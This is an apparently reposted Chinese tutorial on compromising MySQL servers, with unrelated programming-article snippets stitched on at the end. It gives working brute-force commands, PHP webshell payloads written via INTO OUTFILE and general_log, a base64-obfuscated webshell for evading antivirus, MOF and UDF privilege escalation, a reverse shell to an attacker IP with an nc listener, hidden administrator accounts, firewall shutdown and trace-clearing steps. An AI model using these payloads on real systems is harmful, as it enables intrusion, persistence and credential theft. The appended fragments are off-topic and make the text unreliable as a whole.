    Mysql暴力破解主要有几种:

    1.网页在线连接破解

    可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载: https://portswigger.net/burp/、 http://pan.baidu.com/s/1c1LD6co

    2.msf通过命令行进行暴力破解

    msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。对单一主机仅仅需要设置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它参数根据实际情况进行设置。

    (1)场景A:对内网获取root某一个口令后,扩展渗透

    use auxiliary/scanner/mysql/mysql_login
    set RHOSTS 192.168.157.1-254
    set password root
    set username root
    run

    执行后对192.168.157.1-254进行mysql密码扫描验证。

    (2)场景B:使用密码字典进行扫描

    use auxiliary/scanner/mysql/mysql_login
    set RHOSTS 192.168.157.1-254
    set pass_file /tmp/password.txt
    set username root
    run

    3.使用nmap扫描并破解密码

    (1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描

    nmap --script=mysql-brute 192.168.157.130
    nmap --script=mysql-brute 192.168.157.1-254

    (2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息

    nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

    (3)检查root空口令

    nmap --script mysql-empty-password 192.168.195.130

    4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。

    1.2.2源代码泄露

    1.网站源代码备份文件

    一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。

    2.配置备份文件

    使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。

    1.2.3文件包含

    本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

    1.2.4其它情况

    有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

    1.3Mysql获取webshell

    1.3.1phpmyadminroot账号获取webshell

    MysqlRoot账号通过phpMyAdmin获取webshell的思路,主要有下面几种方式,以第一二六八种方法较佳,其它可以根据实际情况来进行。

    1.直接读取后门文件

    通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。

    2.直接导出一句话后门

    前提需要知道网站的真实物理路径,例如呼求偶真实路径D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件cmd.php,访问地址 http://www.somesite.com/cmd.php

    select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

    3.创建数据库导出一句话后门

    在查询窗口直接执行以下代码即可,跟2.原理类似。

    CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
    INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
    SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
    DROP TABLE IF EXISTS `antian365`;

    4.可执行命令方式

    创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。

    select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

    另外在linux下可以导出直接执行命令的shell:

    SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

    http://localhost/shell.php?c=cat%20/etc/passwd

    5.过杀毒软件方式

    通过后台或者存在上传图片的地方,上传图片publicguide.jpg,内容如下:

    <?php
    $a=' PD9waHAgQGV2YWwoJF9QT1NUWyd hbnRpYW4zNjUnXSk7ZGllKCk7Pz4= '; 
    error_reporting(0);
    @set_time_limit(0); 
    eval("?>".base64_decode($a)); 
    ?>

    然后通过图片包含temp.php,导出webshell。

    select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

    一句话后门密码:antian365

    6.直接导出加密webshell

    一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改D:/WEB/IPTEST/22.php。

    注意:

    也可以使用 http://tool.lu/hexstr/ 网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入unhex函数进行查询即可:

    select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'

    7.CMS系统获取webshell

    有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管理员账号后直接上传文件来获取webshell。Discuz!的UC_key可以直接获取webshell。甚至某些系统可以直接上传php文件。下面是一些CMS系统渗透的技巧:

      1. dedecms系统的密码有直接md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;

      2. phpcms v9版本的密码需要加salt进行破解,需要选择破解算法md5(md5($pass).$salt)进行破解。

      3. Discuz!论坛帐号保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如a0513df9929afc972f024fa4e586e829:399793。

    8.general_log_file获取webshell

    (1)查看genera文件配置情况

    show global variables like "%genera%";

    (2)关闭general_log

    set global general_log=off;

    (3)通过general_log选项来获取webshell

    set global general_log='on';
    SET global general_log_file='D:/phpStudy/WWW/cmd.php';

    在查询中执行语句:

    SELECT '<?php assert($_POST["cmd"]);?>';

    Shell为cmd.php,一句话后门,密码为cmd。

    1.3.2sqlmap注入点获取webshell

    sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令来获取:

    sqlmap -u url--os-shell 
    echo "<?php @eval($_POST['c']);?>" >/data/www/1.php

    1.4Mysql提权

    1.4.1mof提权

    1.Webshell上传mof文件提权

    MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

    方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。 
    方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。 
    方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的?WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

    该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。

    perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

    192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。

    2.生成nullevt.mof文件

    将以下代码保存为nullevt.mof文件:

    #pragma namespace("\\\\.\\root\\subscription") 
    instance of __EventFilter as $EventFilter

    EventNamespace = "Root\\Cimv2"; 
    Name = "filtP2"; 
    Query = "Select \ From __InstanceModificationEvent " 
    "Where TargetInstance Isa \"Win32_LocalTime\" " 
    "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
    }; 
     
    instance of ActiveScriptEventConsumer as $Consumer 

    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 
    }; 
    instance of __FilterToConsumerBinding

    Consumer = $Consumer; 
    Filter = $EventFilter; 
    };

    3.通过Mysql查询将文件导入

    执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。

    selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

    1.4.2.Msf直接mof提权

    Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。

    use exploit/windows/mysql/mysql_mof
    set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
    set rport 3306 //设置mysql的远程端口
    set password root //设置mysql数据库root密码
    set username root //设置mysql用户名
    options //查看设置
    run 0

    技巧:

    要是能够通过网页连接管理(phpmyadmin),则可以修改host为%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。

    方法1:本地登入mysql,更改?mysql数据库里的?user?表里的?host项,将localhost改为%

    use mysql;
    update user set host = '%' where user = 'root';
    FLUSH PRIVILEGES ;
    select host, user from user;

    方法2:直接授权(推荐)

    从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:

    # mysql -u root -proot
    GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
    FLUSH PRIVILEGES;

    推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。

    1.4.3UDF提权

    UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码

    Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。

    1.UDF提权条件

      1. Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

      2. Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

      3. 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

      4. 可以将udf.dll写入到相应目录的权限。

    2.提权方法

    (1)获取数据库版本、数据位置以及插件位置等信息

    select version();//获取数据库版本 
    select user();//获取数据库用户 
    select @@basedir ;//获取安装目录 
    show variables like '%plugins%'; //寻找mysql安装路径

    (2)导出路径

    C:\Winnt\udf.dll Windows 2000 
    C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)

    MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

    在某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:

    select @@basedir; //查找到mysql的目录
    select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
    select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

    执行成功以后就会plugin目录,然后再进行导出udf.dll即可。

    (3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:

    create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

    (4)执行命令:

    select sys_eval(‘whoami’);

    一般情况下不会出现创建不成功哦。

    连不上3389可以先停止windows防火墙和筛选

    select sys_eval(‘net stop policyagent’); 
    select sys_eval(‘net stop sharedaccess’);

    udf.dll下常见函数:

    cmdshell 执行cmd;
    downloader 下载者,到网上下载指定文件并保存到指定目录;
    open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
    backshell 反弹Shell;
    ProcessView 枚举系统进程;
    KillProcess 终止指定进程;
    regread 读注册表;
    regwrite 写注册表;
    shut 关机,注销,重启;
    about 说明与帮助函数;

    具体用户示例:

    select cmdshell('net user iis_user 123!@#abcABC /add');
    select cmdshell('net localgroup administrators iis_user /add');
    select cmdshell('regedit /s d:web3389.reg');
    select cmdshell('netstat -an');

    (5)清除痕迹

    drop function cmdshell;//将函数删除

    删除udf.dll文件以及其它相关入侵文件及日志。

    (6)常见错误

    1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    在my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE “secure_file_priv”)。

    1123 - Can't initialize function 'backshell'; 
    UDFs are unavailable with the --skip-grant-tables option

    需要将my.ini中的skip-grant-tables选项去掉。

    3.webshell下udf提权

    通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

    4.Mysql提权综合利用工具

    v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站: https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

    (1)自动导出你的backdoor和mof文件 
    (2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权 
    (3)导出LPK.dll文件,劫持系统目录提权 
    (4)写启动项提权

    UdF自动提权:

    python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

    LPK劫持提权:

    python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

    启动项提权:

    python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

    例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权

    1.6.3无法获取webshell提权

    1.连接mysql

    (1)mysql.exe -h ip -uroot -p 
    (2)phpmyadmin 
    (3)Navicat for MySQL

    2.查看数据库版本和数据路径

    SELECT VERSION( );
    Select @@datadir;
    5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
    5.1以上版本 通过以下查询来获取插件路径:
    SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
    show variables like '%plugin%' ;
    select load_file('C:/phpStudy/Apache/conf/httpd.conf')
    select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
    select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
    select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
    select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

    3.修改mysql.txt

    Mysql.txt为udf.dll的二进制文件转成十六进制代码。

    (1)先执行导入ghost表中的内容

    修改以下代码的末尾代码 select backshell(“YourIP”,4444);

    (2)导出文件到某个目录

    select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; 
    select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; 
    select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; 
    select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; 
    select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' 
    select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; 
    select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm');
    select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

    (3)查看FUNCTION中是否存在cmdshell和backshell

    存在则删除:

    drop FUNCTION cmdshell;//删除cmdshell 
    drop FUNCTION backshell;//删除backshell

    创建backshell:

    CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell

    在具备独立主机的服务器上执行监听:

    nc -vv -l -p 44444

    执行查询:

    select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口

    4.获取webshell后添加用户命令

    注意如果不能直接执行,则需要到c:\windows\system32\下执行

    net user antian365 www.xianzhi.aliyun.com /add 
    net localgroup administrators antian365

    1.6.4sqlmap直连数据库提权

    Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:

    (1)连接数据库

    sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

    (2)选择操作系统的架构,32位操作系统选择1,64位选择2.

    (3)自动上传udf或提示os-shell

    (4)执行whomai命令如果获取系统权限,则表示提权成功。

    4.msfudf提权

    Kali渗透测试平台下执行(kali下载地 https://www.kali.org/downloads/):

    msfconsole
    use exploit/windows/mysql/mysql_payload
    options
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run 0或者exploit

    msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。

    1.6.4启动项提权

    1.创建表并插入vbs脚本到表中

    依次使用以下命令:

    show databases ;
    use test;
    show tables;
    create table a (cmd text); 
    insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); 
    insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
    insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " ); 
    select \ from a;
    1. 导出vbs脚本到启动

    使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。

    select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

    导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.

    推荐使用以下脚本:

    show databases ;
    use test;
    show tables;
    create table b (cmd text); 
    insert into b values ("net user Aspnet123545345! /add");
    insert into b values ("net localgroup administrators Aspnet /add");
    insert into b values ("del b.bat");
    select from b into outfile "C:\\Documents and Settings\\All Users\\ 「开始」菜单\\程序\\启动\\b.bat";

    该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件

    说明

    在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:

    select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat";

    Windows 2008 Server的启动目录为:

    C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs

    其vbs方法可以参考如下写法:

    create table a (cmd text);
    insert into a values ("set wshshell= createobject (""wscript.shell"" ) " );
    insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
    insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
    select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

    3.msf下模块exploit/windows/mysql/mysql_start_up提权

    use exploit/windows/mysql/mysql_start_up
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run

    msf下mysql_start_up提权有一定的几率,对英文版系统支持较好。

    1.7Msf其它相关漏洞提权

    1.Mysql身份认证漏洞及利用(CVE-2012-2122)

    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

    MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.

    MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

    use auxiliary/scanner/mysql/ mysql_authbypass_hashdump

    2.exploit/windows/mysql/mysql_yassl_hello

    3.exploit/windows/mysql/scrutinizer_upload_exec

    1.8.mysql密码破解

    1.8.1cain工具破解mysql密码

    使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。

    注意:

      1. root后面的“”不要复制到字符串中。

      2. 在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。

    安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

    1.8.2网站在线密码破解

      1. cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。

      2. somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。

    1.8.3oclhash破解

    hashcat支持很多种破解算法,免费开源软件,官方网站 https://hashcat.net/hashcat/,破解命令:

    hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型

    hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

    1.8.4 John the Ripper password cracker

    John the Ripper下载地址: http://www.openwall.com /john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。

    Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt
    John –format =mysql-sha1 hashes.txt
    john --list=formats | grep mysql //查看支持mysql密码破解的算法

    640?wx_fmt=png

    End.

    出处:http://www.uml.org.cn/sjjm/201712113.asp

    展开全文
  •  其实这个操作,我之前的处理方式是将表A中的字符串作为查询条件数据库直接读取符合条件的表B的实体集合,这样也可以实现。但是呢,程序中这个操作算的上是使用率较高的,如果采用这种方式,程序有时候会出现卡顿...
  • laravel中orm的条件筛选和排序

    千次阅读 2019-03-11 23:58:25
    筛选a字段大于10,b字段等于10的记录并按照a降序,代码如下: $query-&amp;gt;where('a','&amp;gt;',10)-&amp;gt;where('b','=','10')-&amp;gt;orderBy('a','desc')-&amp;gt;get(); 常规...
  • golang利用模板生成数据库表对应的模型及操作 那个时候也没有想到可以从数据库中读取到目标表的表结构数据自动生成ORM需要的模型结构。直到有一天我看到一个根据模板自动生成ORM的模型文件的代码,然后我就用golang...
  • 如上一张表,有没有办法筛选出book重复的记录并删除呢?虽然SQL的distinct聚合函数可以将查询清单中的重复记录剔除,每种记录值只返回其中 的一条记录,但是它不能针对单个字段查重,如果使用"Select distinct book,...
  • 数据库

    千次阅读 2007-10-24 08:27:00
    数据库之路——从关系演算到数据立方作者:WangQingDa Gender: Malee-mail:expectoneday@hotmail.com专业:会计电算化(bachelor);计算机软件理论(Master)仅以此...数据库对于任何学习计算机专业的人说都是基
  • 数据库学习】数据库总结

    万次阅读 多人点赞 2018-07-26 13:26:41
    1,数据库 1)概念 数据库是长期存储在计算机内、有组织的、可共享的大量数据的集合。 常见数据库管理系统有:Access、mysql、sql server 2)特点 ①数据库数据特点 永久存储、有组织...
  • 使用Django清理数据库中的数据

    千次阅读 2015-03-19 16:40:40
    数据库中的数据清理 ...然后,我就想写SQL脚本按照约定的规则进行更新,可以利用游标 完成表中的记录的遍历,但是SQL是面向结构化的查询语言,不是面向过程的,所以虽然可以但是没有C和python这样的面向过程的
  • 学校的分布式数据库读书笔记(4)

    千次阅读 2010-04-10 08:56:00
    第二章 分布式数据库系统的设计1 数据库设计概述 数据库设计是指对于一个给定的应用环境,构造最优的数据库模式,建立数据库及其应用系统,使之能够有效地存储数据。 数据库设计的基本步骤(如图2.1): 需求分析 ...
  • 数据库面试

    千次阅读 多人点赞 2019-02-13 09:03:42
    一、数据库问答题 1. SQL语言包括哪些类型? 数据定义DDL:Create Table,Alter Table,Drop Table, Create/Drop Index等 数据操纵DML:Select ,insert,update,delete, 数据控制DCL:grant,revoke 2. 内联接,外联接...
  • MySQL数据库

    千次阅读 2019-11-22 17:34:58
    数据库作为程序中数据的主要载体,在整个项目中扮演着重要的角色。PHP自身可以与大多数数据库进行连接,但MySQL数据库树开源界所公认的与PHP结合最好的数据库,它具有安全、跨平台、体积小和高效等特点,可谓PHP的...
  • Excel VBA 高级编程-跨表格多条件筛选

    千次阅读 2020-08-24 16:37:14
    大家好,我是陈小虾,是一名自动化方向的IT民工。写博客是为了记录自己的学习过程,通过不断输出倒逼...1、跨表格多条件筛选 2、在新表格输出结果 3、将结果生成TXT文件 关注公众号:万能的Excel 并回复【跨表格...
  • 后台代码 public ...//json_key值为变量,用中括号(dataobj[col_nm])表示 }); html+= '</tr>' }); html+= '' $( "#table2" ).html(html); }); }); script > body > html >
  • Oracle数据库

    千次阅读 2016-07-11 19:24:13
    一、数据库类型a.层次型数据库 b.网状型数据库 c.关系型数据库二、数据库操作如何操作数据库:1.运行cmd打开控制台窗口–>输入sqlplus–>如果是...使用第三方工具操作oracle数据库: PLSQL developer Toad DBVisual
  • Java数据库基础

    万次阅读 多人点赞 2015-11-19 11:25:09
    Java数据库基础--以SQL Server为例 sql server数据库基本概念 使用文件保存数据存在几个...严格地说,数据库是“按照数据结构组织、存储和管理数据的仓库”。在经济管理的日常工作中,常常需要把某些相关的数
  • 学校的分布式数据库读书笔记(6)

    千次阅读 2010-04-10 09:24:00
    第四章 分布式数据库中的事务管理和恢复1 两阶段提交(2PC)由于两阶段提交(2PC)在系统效率和可用性两方面都存在缺碴 一方面与单节点事务相比.2PC的分布事务太慢;另一方面一旦参与分布事务的某一个结点不适时地失败...
  • 相关链接: 利用数据库复制技术 实现数据同步更新[摘] SQL 复制过程的注意事项(转) 复制的概念Microsoft? SQL Server? 2000 的复制是在数据库之间对数据和数据库对象进行复制和分发并进行同步以确保其一致性的一组...
  • 数据库

    千次阅读 2018-04-06 22:11:02
    它可以强化约束,维护数据的完整性和一致性,可以跟踪数据库内的操作从而不允许未经许可的更新和变化。可以联级运算。DML触发器是在对表进行插入、更新或删除操作自动执行的存储过程;触发器示例1:创建一个...
  • 常用内存数据库介绍

    千次阅读 2011-09-09 17:36:09
    1. 内存数据库简介 1.1 概念 一、什么是内存数据库 传统的数据库管理系统把所有数据都放在磁盘上进行管理,所以称做磁盘数据库(DRDB:Disk-...磁盘数据库需要频繁地访问磁盘进行数据的操作,由于对磁盘读
  • 数据库复习笔记(全覆盖,包括往年部分真题)

    万次阅读 多人点赞 2020-11-26 18:08:35
    ## 1、数据库系统概述 **1.1 数据库的基本概念** 数据库: 长期储存在计算机内、有组织的、可共享的大量数据的集合。 *基本特征:* 数据按一定的数据模型组织、描述和储存 可为各种用户共享、冗余度较小、易...
  • MS SQL 2000利用数据库复制技术 实现数据同步更新[摘] 复制的概念Microsoft? SQL Server? 2000 的复制是在数据库之间对数据和数据库对象进行复制和分发并进行同步以确保其一致性的一组技术。使用复制可以将数据分发...
  • 内存数据库

    千次阅读 2012-12-25 20:56:36
    在网上发现一篇对我比较有用的文章,转过来的目的还是为了方便自己以后再学习。...   1. 内存数据库简介 1.1 概念 ...传统的数据库管理系统把所有数据都放在磁盘上进行管理,所以称做磁盘数据库(DRDB
  • 2000 的复制是在数据库之间对数据和数据库对象进行复制 和分发并进行同步以确保其一致性的一组技术。 使用复制可以将数据分发到不同位置,通过局域网、使用拨号连接、通过 Internet 分 发给远程或移动用户。复制...
  • 数据库性能优化详解

    万次阅读 多人点赞 2017-02-03 17:38:06
    出处: ...1.数据库访问优化法则 ...要正确的优化SQL,我们需要快速定位能性的瓶颈点,也就是说快速找到我们SQL主要的开销在...而大多数情况性能最慢的设备会是瓶颈点,如下载网络速度可能会是瓶颈点,本地复制
  • mysql 百万级数据库优化方案

    千次阅读 2018-05-14 11:55:47
    一、百万级数据库优化方案1.对查询进行优化,要尽量避免全表扫描,首先应考虑在 where 及 order by 涉及的列上建立索引。2.应尽量避免在 where 子句中对字段进行 null 值判断,否则将导致引擎放弃使用索引而进行全表...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 37,415
精华内容 14,966
关键字:

利用复杂的条件来筛选数据库时